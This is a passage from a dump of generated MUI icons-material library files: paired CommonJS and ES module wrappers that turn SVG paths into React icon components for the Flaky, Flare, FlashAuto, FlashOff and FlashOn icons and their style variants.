    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"m14.05 17.58-.01.01-2.4-2.4 1.06-1.06 1.35 1.35L16.54 13l1.06 1.06-3.54 3.54zM12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2M7.34 6.28l1.41 1.41 1.41-1.41 1.06 1.06-1.41 1.41 1.41 1.41-1.06 1.06-1.41-1.41-1.41 1.41-1.06-1.06 1.41-1.41-1.41-1.41zM12 20c-2.2 0-4.2-.9-5.7-2.3L17.7 6.3C19.1 7.8 20 9.8 20 12c0 4.4-3.6 8-8 8\"\n}), 'FlakySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlakyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"m14.05 17.58-.01.01-2.4-2.4 1.06-1.06 1.35 1.35L16.54 13l1.06 1.06-3.54 3.54zM12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2M7.34 6.28l1.41 1.41 1.41-1.41 1.06 1.06-1.41 1.41 1.41 1.41-1.06 1.06-1.41-1.41-1.41 1.41-1.06-1.06 1.41-1.41-1.41-1.41zM12 20c-2.2 0-4.2-.9-5.7-2.3L17.7 6.3C19.1 7.8 20 9.8 20 12c0 4.4-3.6 8-8 8\"\n}), 'FlakyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlakyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"m14.05 17.58-.01.01-2.4-2.4 1.06-1.06 1.35 1.35L16.54 13l1.06 1.06-3.54 3.54zM12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2M7.34 6.28l1.41 1.41 1.41-1.41 1.06 1.06-1.41 1.41 1.41 1.41-1.06 1.06-1.41-1.41-1.41 1.41-1.06-1.06 1.41-1.41-1.41-1.41zM12 20c-2.2 0-4.2-.9-5.7-2.3L17.7 6.3C19.1 7.8 20 9.8 20 12c0 4.4-3.6 8-8 8\"\n}), 'FlakyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Flare.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 11H1v2h6zm2.17-3.24L7.05 5.64 5.64 7.05l2.12 2.12zM13 1h-2v6h2zm5.36 6.05-1.41-1.41-2.12 2.12 1.41 1.41zM17 11v2h6v-2zm-5-2c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m2.83 7.24 2.12 2.12 1.41-1.41-2.12-2.12zm-9.19.71 1.41 1.41 2.12-2.12-1.41-1.41zM11 23h2v-6h-2z\"\n}), 'Flare');"
  },
  {
    "path": "packages/mui-icons-material/lib/Flare.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 11H1v2h6zm2.17-3.24L7.05 5.64 5.64 7.05l2.12 2.12zM13 1h-2v6h2zm5.36 6.05-1.41-1.41-2.12 2.12 1.41 1.41zM17 11v2h6v-2zm-5-2c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m2.83 7.24 2.12 2.12 1.41-1.41-2.12-2.12zm-9.19.71 1.41 1.41 2.12-2.12-1.41-1.41zM11 23h2v-6h-2z\"\n}), 'Flare');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlareOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 11H1v2h6zm2.17-3.24L7.05 5.64 5.64 7.05l2.12 2.12zM13 1h-2v6h2zm5.36 6.05-1.41-1.41-2.12 2.12 1.41 1.41zM17 11v2h6v-2zm-5-2c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m2.83 7.24 2.12 2.12 1.41-1.41-2.12-2.12zm-9.19.71 1.41 1.41 2.12-2.12-1.41-1.41zM11 23h2v-6h-2z\"\n}), 'FlareOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlareOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 11H1v2h6zm2.17-3.24L7.05 5.64 5.64 7.05l2.12 2.12zM13 1h-2v6h2zm5.36 6.05-1.41-1.41-2.12 2.12 1.41 1.41zM17 11v2h6v-2zm-5-2c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m2.83 7.24 2.12 2.12 1.41-1.41-2.12-2.12zm-9.19.71 1.41 1.41 2.12-2.12-1.41-1.41zM11 23h2v-6h-2z\"\n}), 'FlareOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlareRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 11H2c-.55 0-1 .45-1 1s.45 1 1 1h4c.55 0 1-.45 1-1s-.45-1-1-1m2.47-3.94-.72-.72a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l.71.71c.39.39 1.02.39 1.41 0 .39-.38.39-1.02.01-1.4M12 1c-.56 0-1 .45-1 1v4c0 .55.45 1 1 1s1-.45 1-1V2c0-.55-.45-1-1-1m5.66 5.35a.996.996 0 0 0-1.41 0l-.71.71c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l.71-.71c.38-.39.38-1.03 0-1.41M17 12c0 .56.45 1 1 1h4c.55 0 1-.45 1-1s-.45-1-1-1h-4c-.55 0-1 .45-1 1m-5-3c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m3.53 7.94.71.71c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41l-.71-.71a.996.996 0 0 0-1.41 0c-.38.39-.38 1.03 0 1.41m-9.19.71c.39.39 1.02.39 1.41 0l.71-.71c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-.71.71c-.38.39-.38 1.03 0 1.41M12 23c.56 0 1-.45 1-1v-4c0-.55-.45-1-1-1s-1 .45-1 1v4c0 .55.45 1 1 1\"\n}), 'FlareRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlareRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 11H2c-.55 0-1 .45-1 1s.45 1 1 1h4c.55 0 1-.45 1-1s-.45-1-1-1m2.47-3.94-.72-.72a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l.71.71c.39.39 1.02.39 1.41 0 .39-.38.39-1.02.01-1.4M12 1c-.56 0-1 .45-1 1v4c0 .55.45 1 1 1s1-.45 1-1V2c0-.55-.45-1-1-1m5.66 5.35a.996.996 0 0 0-1.41 0l-.71.71c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l.71-.71c.38-.39.38-1.03 0-1.41M17 12c0 .56.45 1 1 1h4c.55 0 1-.45 1-1s-.45-1-1-1h-4c-.55 0-1 .45-1 1m-5-3c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m3.53 7.94.71.71c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41l-.71-.71a.996.996 0 0 0-1.41 0c-.38.39-.38 1.03 0 1.41m-9.19.71c.39.39 1.02.39 1.41 0l.71-.71c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-.71.71c-.38.39-.38 1.03 0 1.41M12 23c.56 0 1-.45 1-1v-4c0-.55-.45-1-1-1s-1 .45-1 1v4c0 .55.45 1 1 1\"\n}), 'FlareRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlareSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 11H1v2h6zm2.17-3.24L7.05 5.64 5.64 7.05l2.12 2.12zM13 1h-2v6h2zm5.36 6.05-1.41-1.41-2.12 2.12 1.41 1.41zM17 11v2h6v-2zm-5-2c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m2.83 7.24 2.12 2.12 1.41-1.41-2.12-2.12zm-9.19.71 1.41 1.41 2.12-2.12-1.41-1.41zM11 23h2v-6h-2z\"\n}), 'FlareSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlareSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 11H1v2h6zm2.17-3.24L7.05 5.64 5.64 7.05l2.12 2.12zM13 1h-2v6h2zm5.36 6.05-1.41-1.41-2.12 2.12 1.41 1.41zM17 11v2h6v-2zm-5-2c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m2.83 7.24 2.12 2.12 1.41-1.41-2.12-2.12zm-9.19.71 1.41 1.41 2.12-2.12-1.41-1.41zM11 23h2v-6h-2z\"\n}), 'FlareSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlareTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.644 7.05 7.05 5.645l2.123 2.122-1.408 1.407zM11 1h2v6h-2zm5.242 13.834 2.12 2.12-1.406 1.408-2.12-2.12zM14.834 7.76l2.12-2.123 1.41 1.407-2.123 2.122zm-5.668 8.482-2.122 2.12-1.407-1.406 2.122-2.122zM12 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m-1 8h2v6h-2zM1 11h6v2H1zm16 0h6v2h-6z\"\n}), 'FlareTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlareTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.644 7.05 7.05 5.645l2.123 2.122-1.408 1.407zM11 1h2v6h-2zm5.242 13.834 2.12 2.12-1.406 1.408-2.12-2.12zM14.834 7.76l2.12-2.123 1.41 1.407-2.123 2.122zm-5.668 8.482-2.122 2.12-1.407-1.406 2.122-2.122zM12 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m-1 8h2v6h-2zM1 11h6v2H1zm16 0h6v2h-6z\"\n}), 'FlareTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashAuto.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 2v12h3v9l7-12H9l4-9zm16 0h-2l-3.2 9h1.9l.7-2h3.2l.7 2h1.9zm-2.15 5.65L18 4l1.15 3.65z\"\n}), 'FlashAuto');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashAuto.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 2v12h3v9l7-12H9l4-9zm16 0h-2l-3.2 9h1.9l.7-2h3.2l.7 2h1.9zm-2.15 5.65L18 4l1.15 3.65z\"\n}), 'FlashAuto');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashAutoOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 2v12h3v9l7-12H9l4-9zm16 0h-2l-3.2 9h1.9l.7-2h3.2l.7 2h1.9zm-2.15 5.65L18 4l1.15 3.65z\"\n}), 'FlashAutoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashAutoOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 2v12h3v9l7-12H9l4-9zm16 0h-2l-3.2 9h1.9l.7-2h3.2l.7 2h1.9zm-2.15 5.65L18 4l1.15 3.65z\"\n}), 'FlashAutoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashAutoRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v10c0 .55.45 1 1 1h2v7.15c0 .51.67.69.93.25l5.19-8.9c.39-.67-.09-1.5-.86-1.5H9l3.38-7.59c.29-.67-.2-1.41-.92-1.41H4c-.55 0-1 .45-1 1m15-1c-.6 0-1.13.38-1.34.94L14.22 9.8c-.2.59.23 1.2.85 1.2.38 0 .72-.24.84-.6L16.4 9h3.2l.49 1.4c.13.36.46.6.84.6.62 0 1.05-.61.84-1.19l-2.44-6.86C19.13 2.38 18.6 2 18 2m-1.15 5.65L18 4l1.15 3.65z\"\n}), 'FlashAutoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashAutoRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v10c0 .55.45 1 1 1h2v7.15c0 .51.67.69.93.25l5.19-8.9c.39-.67-.09-1.5-.86-1.5H9l3.38-7.59c.29-.67-.2-1.41-.92-1.41H4c-.55 0-1 .45-1 1m15-1c-.6 0-1.13.38-1.34.94L14.22 9.8c-.2.59.23 1.2.85 1.2.38 0 .72-.24.84-.6L16.4 9h3.2l.49 1.4c.13.36.46.6.84.6.62 0 1.05-.61.84-1.19l-2.44-6.86C19.13 2.38 18.6 2 18 2m-1.15 5.65L18 4l1.15 3.65z\"\n}), 'FlashAutoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashAutoSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 2v12h3v9l7-12H9l4-9zm16 0h-2l-3.2 9h1.9l.7-2h3.2l.7 2h1.9zm-2.15 5.65L18 4l1.15 3.65z\"\n}), 'FlashAutoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashAutoSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 2v12h3v9l7-12H9l4-9zm16 0h-2l-3.2 9h1.9l.7-2h3.2l.7 2h1.9zm-2.15 5.65L18 4l1.15 3.65z\"\n}), 'FlashAutoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashAutoTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 2v12h3v9l7-12H9l4-9zm14 0-3.2 9h1.9l.7-2h3.2l.7 2h1.9L19 2zm-.15 5.65L18 4l1.15 3.65z\"\n}), 'FlashAutoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashAutoTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 2v12h3v9l7-12H9l4-9zm14 0-3.2 9h1.9l.7-2h3.2l.7 2h1.9L19 2zm-.15 5.65L18 4l1.15 3.65z\"\n}), 'FlashAutoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.27 3 2 4.27l5 5V13h3v9l3.58-6.14L17.73 20 19 18.73zM17 10h-4l4-8H7v2.18l8.46 8.46z\"\n}), 'FlashOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.27 3 2 4.27l5 5V13h3v9l3.58-6.14L17.73 20 19 18.73zM17 10h-4l4-8H7v2.18l8.46 8.46z\"\n}), 'FlashOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 10h-3.61l2.28 2.28zm0-8H7v1.61l6.13 6.13zm-13.59.86L2 4.27l5 5V13h3v9l3.58-6.15L17.73 20l1.41-1.41z\"\n}), 'FlashOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 10h-3.61l2.28 2.28zm0-8H7v1.61l6.13 6.13zm-13.59.86L2 4.27l5 5V13h3v9l3.58-6.15L17.73 20l1.41-1.41z\"\n}), 'FlashOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.12 11.5c.39-.67-.09-1.5-.86-1.5h-1.87l2.28 2.28zm.16-8.05c.33-.67-.15-1.45-.9-1.45H8c-.55 0-1 .45-1 1v.61l6.13 6.13zm2.16 14.43L4.12 3.56a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L7 9.27V12c0 .55.45 1 1 1h2v7.15c0 .51.67.69.93.25l2.65-4.55 3.44 3.44c.39.39 1.02.39 1.41 0 .4-.39.4-1.02.01-1.41\"\n}), 'FlashOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.12 11.5c.39-.67-.09-1.5-.86-1.5h-1.87l2.28 2.28zm.16-8.05c.33-.67-.15-1.45-.9-1.45H8c-.55 0-1 .45-1 1v.61l6.13 6.13zm2.16 14.43L4.12 3.56a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L7 9.27V12c0 .55.45 1 1 1h2v7.15c0 .51.67.69.93.25l2.65-4.55 3.44 3.44c.39.39 1.02.39 1.41 0 .4-.39.4-1.02.01-1.41\"\n}), 'FlashOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 10h-3.61l2.28 2.28zm0-8H7v1.61l6.13 6.13zm-13.59.86L2 4.27l5 5V13h3v9l3.58-6.15L17.73 20l1.41-1.41z\"\n}), 'FlashOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 10h-3.61l2.28 2.28zm0-8H7v1.61l6.13 6.13zm-13.59.86L2 4.27l5 5V13h3v9l3.58-6.15L17.73 20l1.41-1.41z\"\n}), 'FlashOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 10h-3.61l2.28 2.28zm0-8H7v1.61l6.13 6.13zm-13.59.86L2 4.27l5 5V13h3v9l3.58-6.15L17.73 20l1.41-1.41z\"\n}), 'FlashOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 10h-3.61l2.28 2.28zm0-8H7v1.61l6.13 6.13zm-13.59.86L2 4.27l5 5V13h3v9l3.58-6.15L17.73 20l1.41-1.41z\"\n}), 'FlashOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashOn.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 2v11h3v9l7-12h-4l4-8z\"\n}), 'FlashOn');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashOn.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 2v11h3v9l7-12h-4l4-8z\"\n}), 'FlashOn');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashOnOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 2v11h3v9l7-12h-4l3-8z\"\n}), 'FlashOnOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashOnOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 2v11h3v9l7-12h-4l3-8z\"\n}), 'FlashOnOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlashOnRounded.js",
